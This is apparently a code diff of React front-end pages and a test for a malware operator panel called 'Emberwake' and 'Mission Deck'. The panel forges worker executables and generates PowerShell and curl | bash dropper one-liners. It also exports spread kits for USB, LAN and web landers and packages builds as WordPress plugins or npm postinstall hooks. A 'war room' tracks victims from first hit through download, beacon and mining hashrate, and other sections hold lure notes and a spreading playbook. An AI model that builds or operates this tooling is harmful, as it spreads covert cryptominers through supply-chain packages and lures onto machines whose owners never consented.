<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Build A (pin)</label>
|
||||
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
<label className="label">Build B (A/B)</label>
|
||||
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="emberwake-tool-grid">
|
||||
<div>
|
||||
<p className="form-hint">PowerShell</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
|
||||
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">bash</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">macOS</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
|
||||
</div>
|
||||
</div>
|
||||
{pinB && (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
A/B link B: <code>{serverBase}/get{queryB}</code>
|
||||
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
|
||||
<div className="emberwake-subsection">
|
||||
<h3 className="emberwake-subsection-title">
|
||||
Install commands <HelpTip field="ew_install_links" />
|
||||
</h3>
|
||||
<p className="emberwake-section-desc">
|
||||
Per-platform one-liners (PowerShell, bash, macOS) are in Builds — pin a build there before sharing links.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
<Link to="/builds" className="btn btn-outline">
|
||||
View install commands in Builds →
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">
|
||||
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
|
||||
{' '}
|
||||
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
|
||||
</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
<div className="emberwake-subsection emberwake-subsection--inline">
|
||||
<div>
|
||||
<h3 className="emberwake-subsection-title">
|
||||
Download spread kit <HelpTip field="ew_spread_kit" />
|
||||
</h3>
|
||||
<p className="emberwake-section-desc">
|
||||
ZIP templates for USB, LAN, or web landers — includes <code>/spread/</code> assets.
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={exportBusy || !serverBase}
|
||||
onClick={() => void exportKit()}
|
||||
>
|
||||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
|
||||
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div
|
||||
<section
|
||||
id="campaign-war-room"
|
||||
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
|
||||
aria-labelledby="ew-war-room-heading"
|
||||
>
|
||||
<h3>Campaign War Room</h3>
|
||||
<h2 id="ew-war-room-heading" className="emberwake-section-title">
|
||||
Campaign War Room <HelpTip field="ew_war_room" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Track hits → downloads → beacons → miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
|
||||
</p>
|
||||
<div className="war-room-toolbar">
|
||||
<span>
|
||||
Live funnel — hits → downloads → first beacon → mining → hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
|
||||
<span className="war-room-toolbar-meta">
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s
|
||||
</span>
|
||||
<div className="war-room-toolbar-right">
|
||||
<div className="war-room-view-toggle" role="group" aria-label="War room view">
|
||||
@@ -360,10 +336,7 @@ export default function EmberwakePage() {
|
||||
Constellations
|
||||
</button>
|
||||
</div>
|
||||
<span>
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
|
||||
</span>
|
||||
<span className="war-room-toolbar-meta">WebSocket push ~30s</span>
|
||||
</div>
|
||||
</div>
|
||||
{warRoom && warRoom.campaigns.length > 0 ? (
|
||||
@@ -490,11 +463,88 @@ export default function EmberwakePage() {
|
||||
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<div className="card operator-deck-card operator-interactive">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Supply-chain exports <HelpTip field="ew_supply_chain" />
|
||||
</span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
|
||||
</summary>
|
||||
<p className="emberwake-section-desc">
|
||||
WordPress plugin or npm postinstall ZIP — uses campaign setup above.
|
||||
</p>
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Public download links <HelpTip field="ew_public_urls" />
|
||||
</span>
|
||||
</summary>
|
||||
<p className="emberwake-section-desc">
|
||||
Direct download URLs per build — also listed on the login page when marked public.
|
||||
</p>
|
||||
<ul className="emberwake-public-list">
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</details>
|
||||
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||||
aria-labelledby="ew-techniques-heading"
|
||||
>
|
||||
<h2 id="ew-techniques-heading" className="emberwake-section-title">
|
||||
How to spread <HelpTip field="ew_techniques" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Pick a vector — step-by-step instructions live in the{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
Spread techniques playbook
|
||||
</a>
|
||||
.
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.anchor}>
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
{t.label}
|
||||
</a>
|
||||
{' — '}
|
||||
{t.hint}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
|
||||
<h2 id="ew-notes-heading" className="emberwake-section-title">
|
||||
Team notes <HelpTip field="ew_shared_notes" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
|
||||
</p>
|
||||
{notesTyping?.active && (
|
||||
<div className="emberwake-typing-banner" role="status">
|
||||
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
|
||||
@@ -520,7 +570,7 @@ export default function EmberwakePage() {
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
{notesBusy ? 'Saving…' : 'Save notes'}
|
||||
</button>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,107 +1,111 @@
|
||||
/**
|
||||
|
||||
* @vitest-environment happy-dom
|
||||
|
||||
*/
|
||||
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
|
||||
import userEvent from '@testing-library/user-event';
|
||||
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
|
||||
import MissionDeckPage from './MissionDeckPage';
|
||||
|
||||
import { ForgeProvider } from '../context/ForgeContext';
|
||||
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
import { api } from '../api/client';
|
||||
|
||||
|
||||
|
||||
vi.mock('../context/PresenceContext', () => ({
|
||||
|
||||
usePresence: () => ({
|
||||
|
||||
othersOnPage: [],
|
||||
|
||||
comrades: [],
|
||||
|
||||
comradesHere: () => [],
|
||||
|
||||
othersOnline: false,
|
||||
|
||||
}),
|
||||
|
||||
}));
|
||||
|
||||
|
||||
|
||||
function renderMissionDeck() {
|
||||
|
||||
return render(
|
||||
|
||||
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
|
||||
|
||||
<ForgeProvider>
|
||||
|
||||
<MissionDeckPage />
|
||||
|
||||
</ForgeProvider>
|
||||
|
||||
</MemoryRouter>,
|
||||
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
describe('MissionDeckPage', () => {
|
||||
|
||||
beforeEach(() => {
|
||||
|
||||
vi.clearAllMocks();
|
||||
|
||||
localStorage.clear();
|
||||
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
|
||||
success: true,
|
||||
|
||||
build_id: 'deck-build-1',
|
||||
|
||||
file_name: 'worker-deck.exe',
|
||||
|
||||
file_size: 4096,
|
||||
|
||||
download_url: '/api/v1/builds/deck-build-1/download',
|
||||
|
||||
});
|
||||
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
|
||||
vi.stubGlobal('navigator', {
|
||||
|
||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
afterEach(() => {
|
||||
|
||||
vi.unstubAllGlobals();
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import MissionDeckPage from './MissionDeckPage';
|
||||
import { ForgeProvider } from '../context/ForgeContext';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
|
||||
vi.mock('../context/PresenceContext', () => ({
|
||||
usePresence: () => ({
|
||||
othersOnPage: [],
|
||||
comrades: [],
|
||||
comradesHere: () => [],
|
||||
othersOnline: false,
|
||||
}),
|
||||
}));
|
||||
|
||||
function renderMissionDeck() {
|
||||
return render(
|
||||
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
|
||||
<ForgeProvider>
|
||||
<MissionDeckPage />
|
||||
</ForgeProvider>
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('MissionDeckPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
localStorage.clear();
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
success: true,
|
||||
build_id: 'deck-build-1',
|
||||
file_name: 'worker-deck.exe',
|
||||
file_size: 4096,
|
||||
download_url: '/api/v1/builds/deck-build-1/download',
|
||||
});
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
vi.stubGlobal('navigator', {
|
||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('shows loading state then mission deck hero', async () => {
|
||||
renderMissionDeck();
|
||||
expect(screen.getByText('Loading loadout defaults…')).toBeInTheDocument();
|
||||
expect(await screen.findByRole('heading', { level: 1, name: /Mission Deck/i })).toBeInTheDocument();
|
||||
expect(screen.getByText('FAST PATH')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Pick a preset loadout/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders Ghost / Loud / Spread mode chips in loadout layout', async () => {
|
||||
renderMissionDeck();
|
||||
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
|
||||
expect(screen.getByRole('region', { name: 'Mission loadout' })).toBeInTheDocument();
|
||||
const loadout = screen.getByRole('region', { name: 'Mission loadout' });
|
||||
expect(loadout).toHaveTextContent('Ghost');
|
||||
expect(loadout).toHaveTextContent('Loud');
|
||||
expect(loadout).toHaveTextContent('Spread');
|
||||
expect(screen.getByRole('heading', { level: 2, name: /Ghost|Loud|Spread/ })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows spread profile chips and campaign slug on the right panel', async () => {
|
||||
renderMissionDeck();
|
||||
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
|
||||
expect(screen.getByRole('heading', { level: 3, name: /Spread profile/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: 'LAN Kindling' })).toBeInTheDocument();
|
||||
expect(screen.getByLabelText(/Campaign slug/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('links to Forge, Emberwake, Builds, and field guide', async () => {
|
||||
renderMissionDeck();
|
||||
await screen.findByRole('heading', { level: 1, name: /Mission Deck/i });
|
||||
expect(screen.getAllByRole('link', { name: /^Forge$/i }).length).toBeGreaterThan(0);
|
||||
expect(screen.getAllByRole('link', { name: /^Emberwake$/i }).length).toBeGreaterThan(0);
|
||||
expect(screen.getAllByRole('link', { name: /^Builds$/i }).length).toBeGreaterThan(0);
|
||||
expect(screen.getByRole('link', { name: /Field guide/i })).toHaveAttribute('href', '/docs/#mission-deck');
|
||||
expect(screen.getByRole('link', { name: /Full Forge/i })).toHaveAttribute('href', '/forge');
|
||||
});
|
||||
|
||||
it('equips and strikes using runForgeMission pipeline', async () => {
|
||||
const user = userEvent.setup();
|
||||
const buildSpy = vi.spyOn(api, 'buildAgent');
|
||||
const exportSpy = vi.spyOn(api, 'exportSpreadKit');
|
||||
renderMissionDeck();
|
||||
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
|
||||
await user.click(screen.getByRole('button', { name: 'LAN Kindling' }));
|
||||
await user.click(screen.getByRole('button', { name: /Equip & Strike/i }));
|
||||
await waitFor(() => {
|
||||
expect(buildSpy).toHaveBeenCalled();
|
||||
});
|
||||
expect(exportSpy).toHaveBeenCalled();
|
||||
expect(await screen.findByText(/Forge complete/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -20,6 +20,8 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo
|
||||
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
|
||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||
@@ -63,14 +65,10 @@ import {
|
||||
|
||||
applyMissionPresets,
|
||||
|
||||
copyMissionLinks,
|
||||
|
||||
missionStepStatus,
|
||||
|
||||
runForgeMission,
|
||||
|
||||
type MissionLinks,
|
||||
|
||||
type MissionStep,
|
||||
|
||||
} from '../help/forgeMission';
|
||||
@@ -207,7 +205,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
|
||||
|
||||
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
|
||||
const [missionComplete, setMissionComplete] = useState(false);
|
||||
|
||||
const [building, setBuilding] = useState(false);
|
||||
|
||||
@@ -215,7 +213,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
const [equipFlash, setEquipFlash] = useState(false);
|
||||
|
||||
useModalAmbientDuck(!!missionModal);
|
||||
useModalAmbientDuck(missionComplete);
|
||||
|
||||
|
||||
|
||||
@@ -477,7 +475,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
setError('');
|
||||
|
||||
setMissionModal(null);
|
||||
setMissionComplete(false);
|
||||
|
||||
setMissionExportSkipped(false);
|
||||
|
||||
@@ -497,7 +495,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
if (preflightHasErrors(checks)) {
|
||||
|
||||
setError('Strike blocked — fix preflight errors in your loadout.');
|
||||
setError('Blocked — fix wallet or control URL errors before forging.');
|
||||
|
||||
return;
|
||||
|
||||
@@ -549,9 +547,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
setMissionExportSkipped(result.exportSkipped);
|
||||
|
||||
await copyMissionLinks(result.links);
|
||||
|
||||
setMissionModal(result.links);
|
||||
setMissionComplete(true);
|
||||
|
||||
await finishForgeSuccess(result.build);
|
||||
|
||||
@@ -591,7 +587,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
<div className="deck-hero-text">
|
||||
|
||||
<p className="deck-eyebrow font-tech">LOADOUT</p>
|
||||
<p className="deck-eyebrow font-tech">FAST PATH</p>
|
||||
|
||||
<h1>Mission Deck</h1>
|
||||
|
||||
@@ -599,7 +595,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
</header>
|
||||
|
||||
<NeonCard accent="amber" tilt3d><p>Loading mission parameters…</p></NeonCard>
|
||||
<NeonCard accent="amber" tilt3d><p>Loading loadout defaults…</p></NeonCard>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -619,7 +615,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
<div className="deck-hero-text">
|
||||
|
||||
<p className="deck-eyebrow font-tech">LOADOUT</p>
|
||||
<p className="deck-eyebrow font-tech">FAST PATH</p>
|
||||
|
||||
<h1>Mission Deck</h1>
|
||||
|
||||
@@ -627,7 +623,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
</header>
|
||||
|
||||
<NeonCard accent="amber" tilt3d><p>{error || 'Failed to load forge defaults.'}</p></NeonCard>
|
||||
<NeonCard accent="amber" tilt3d><p>{error || 'Failed to load loadout defaults.'}</p></NeonCard>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -645,13 +641,37 @@ export default function MissionDeckPage() {
|
||||
|
||||
<div className="deck-hero-text">
|
||||
|
||||
<p className="deck-eyebrow font-tech">LOADOUT</p>
|
||||
<p className="deck-eyebrow font-tech">FAST PATH</p>
|
||||
|
||||
<h1>Mission Deck</h1>
|
||||
<h1>
|
||||
Mission Deck <HelpTip field="md_overview" />
|
||||
</h1>
|
||||
|
||||
<p className="page-subtitle">
|
||||
|
||||
Equip your operation, spread profile, and campaign — one strike runs Configure → Forge → Export → Copy.
|
||||
Pick a preset loadout and forge once — without the full Forge form. Install commands are on Builds when you are done.
|
||||
|
||||
</p>
|
||||
|
||||
<p className="mission-deck-crosslinks form-hint">
|
||||
|
||||
<Link to="/forge">Forge</Link>
|
||||
|
||||
{' — every build option · '}
|
||||
|
||||
<Link to="/emberwake">Emberwake</Link>
|
||||
|
||||
{' — track campaigns · '}
|
||||
|
||||
<Link to="/builds">Builds</Link>
|
||||
|
||||
{' — pinned install commands · '}
|
||||
|
||||
<a href="/docs/#mission-deck" target="_blank" rel="noopener noreferrer">
|
||||
|
||||
Field guide
|
||||
|
||||
</a>
|
||||
|
||||
</p>
|
||||
|
||||
@@ -659,27 +679,21 @@ export default function MissionDeckPage() {
|
||||
|
||||
<div className="deck-hero-actions mission-deck-ops-dock">
|
||||
|
||||
<a href="/spread/" target="_blank" rel="noopener noreferrer" className="btn btn-outline btn-sm">
|
||||
<Link to="/forge" className="btn btn-outline btn-sm">
|
||||
|
||||
Spread landing
|
||||
|
||||
</a>
|
||||
|
||||
<a href="/docs/" target="_blank" rel="noopener noreferrer" className="btn btn-outline btn-sm">
|
||||
|
||||
Field guide
|
||||
|
||||
</a>
|
||||
|
||||
<Link to="/emberwake" className="btn btn-outline btn-sm">
|
||||
|
||||
War room
|
||||
Full Forge
|
||||
|
||||
</Link>
|
||||
|
||||
<Link to="/forge" className="btn btn-outline">
|
||||
<Link to="/emberwake" className="btn btn-outline btn-sm">
|
||||
|
||||
Open full forge
|
||||
Emberwake
|
||||
|
||||
</Link>
|
||||
|
||||
<Link to="/builds" className="btn btn-outline btn-sm">
|
||||
|
||||
Builds
|
||||
|
||||
</Link>
|
||||
|
||||
@@ -697,7 +711,11 @@ export default function MissionDeckPage() {
|
||||
|
||||
<aside className="mission-loadout-col mission-loadout-modes" aria-label="Operation mode">
|
||||
|
||||
<p className="loadout-col-label font-tech">Operation</p>
|
||||
<p className="loadout-col-label font-tech">
|
||||
|
||||
1 — Operation <HelpTip field="md_operation_chip" />
|
||||
|
||||
</p>
|
||||
|
||||
<div className="loadout-mode-chips">
|
||||
|
||||
@@ -745,9 +763,9 @@ export default function MissionDeckPage() {
|
||||
|
||||
<p className="form-hint loadout-forge-hint">
|
||||
|
||||
Need fusion batches or blueprints?{' '}
|
||||
Need fusion batches, blueprints, or stealth tuning?{' '}
|
||||
|
||||
<Link to="/forge" className="mission-deck-forge-link">Open full forge →</Link>
|
||||
<Link to="/forge" className="mission-deck-forge-link">Open Forge →</Link>
|
||||
|
||||
</p>
|
||||
|
||||
@@ -791,7 +809,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
<div className="loadout-preview-meta">
|
||||
|
||||
<p className="loadout-preview-eyebrow font-tech">Equipped loadout</p>
|
||||
<p className="loadout-preview-eyebrow font-tech">2 — Your loadout</p>
|
||||
|
||||
<h2 className="loadout-preview-title">{selectedChipDef.label}</h2>
|
||||
|
||||
@@ -853,10 +871,18 @@ export default function MissionDeckPage() {
|
||||
|
||||
>
|
||||
|
||||
{missionBusy ? 'Equipping…' : '⚡ Equip & Strike'}
|
||||
{missionBusy ? 'Running…' : '⚡ Equip & Strike'}
|
||||
|
||||
</button>
|
||||
|
||||
<p className="form-hint loadout-cta-desc">
|
||||
|
||||
One click: forge and export a spread kit when your profile needs it.{' '}
|
||||
|
||||
<HelpTip field="md_equip_strike" label="How Equip & Strike works" />
|
||||
|
||||
</p>
|
||||
|
||||
{!canLaunch && !missionBusy && (
|
||||
|
||||
<p className="form-hint loadout-cta-hint">Fix preflight errors in your loadout before equipping.</p>
|
||||
@@ -873,9 +899,11 @@ export default function MissionDeckPage() {
|
||||
|
||||
<NeonCard accent="magenta" tilt3d className="loadout-strike-panel operator-deck-card operator-interactive">
|
||||
|
||||
<h3 className="font-tech" style={{ marginTop: 0 }}>Strike in progress</h3>
|
||||
<h3 className="font-tech" style={{ marginTop: 0 }}>
|
||||
|
||||
<p className="form-hint">Configure → Forge → Export → Copy</p>
|
||||
Forge run <HelpTip field="md_strike_pipeline" />
|
||||
|
||||
</h3>
|
||||
|
||||
{missionBusy && (
|
||||
|
||||
@@ -891,7 +919,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
<div className="mission-run-progress" aria-live="polite">
|
||||
|
||||
<p className="font-tech" style={{ margin: 0 }}>MISSION PIPELINE</p>
|
||||
<p className="font-tech" style={{ margin: 0 }}>PIPELINE STEPS</p>
|
||||
|
||||
<div className="mission-run-steps">
|
||||
|
||||
@@ -935,13 +963,21 @@ export default function MissionDeckPage() {
|
||||
|
||||
<aside className="mission-loadout-col mission-loadout-kit" aria-label="Spread profile and campaign">
|
||||
|
||||
<p className="loadout-col-label font-tech">Deliverable</p>
|
||||
<p className="loadout-col-label font-tech">
|
||||
|
||||
3 — Deliverable & tags <HelpTip field="md_campaign_identity" />
|
||||
|
||||
</p>
|
||||
|
||||
<NeonCard accent="purple" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive">
|
||||
|
||||
<h3 style={{ marginTop: 0 }}>Spread profile</h3>
|
||||
<h3 style={{ marginTop: 0 }}>
|
||||
|
||||
<p className="form-hint">Optional preset layered on your operation mode.</p>
|
||||
Spread profile <HelpTip field="md_spread_profile" />
|
||||
|
||||
</h3>
|
||||
|
||||
<p className="form-hint">Optional — shapes the installer and spread flags on top of your operation chip.</p>
|
||||
|
||||
<div className="loadout-profile-chips">
|
||||
|
||||
@@ -1001,7 +1037,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
<NeonCard accent="gold" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive">
|
||||
|
||||
<h3 style={{ marginTop: 0 }}>Campaign & identity</h3>
|
||||
<h3 style={{ marginTop: 0 }}>Campaign & identity</h3>
|
||||
|
||||
<div className="form-group">
|
||||
|
||||
@@ -1139,7 +1175,7 @@ export default function MissionDeckPage() {
|
||||
|
||||
|
||||
|
||||
{missionModal && (
|
||||
{missionComplete && (
|
||||
|
||||
<div
|
||||
|
||||
@@ -1151,55 +1187,41 @@ export default function MissionDeckPage() {
|
||||
|
||||
aria-labelledby="mission-modal-title"
|
||||
|
||||
onClick={() => setMissionModal(null)}
|
||||
onClick={() => setMissionComplete(false)}
|
||||
|
||||
>
|
||||
|
||||
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
|
||||
|
||||
<h3 id="mission-modal-title">Strike complete — links copied</h3>
|
||||
<h3 id="mission-modal-title">Forge complete</h3>
|
||||
|
||||
<p className="form-hint">Dropper one-liners are on your clipboard. Track hits in Emberwake.</p>
|
||||
<p className="form-hint">
|
||||
|
||||
<div className="forge-mission-link-block">
|
||||
Your build is ready. Copy per-machine install commands from{' '}
|
||||
|
||||
<p>PowerShell</p>
|
||||
<Link to="/builds" onClick={() => setMissionComplete(false)}>Builds</Link>
|
||||
|
||||
<code>{missionModal.ps1}</code>
|
||||
; track campaign hits in{' '}
|
||||
|
||||
</div>
|
||||
<Link to="/emberwake" onClick={() => setMissionComplete(false)}>Emberwake</Link>.
|
||||
|
||||
<div className="forge-mission-link-block">
|
||||
|
||||
<p>curl | bash</p>
|
||||
|
||||
<code>{missionModal.sh}</code>
|
||||
|
||||
</div>
|
||||
|
||||
<div className="forge-mission-link-block">
|
||||
|
||||
<p>GET dropper</p>
|
||||
|
||||
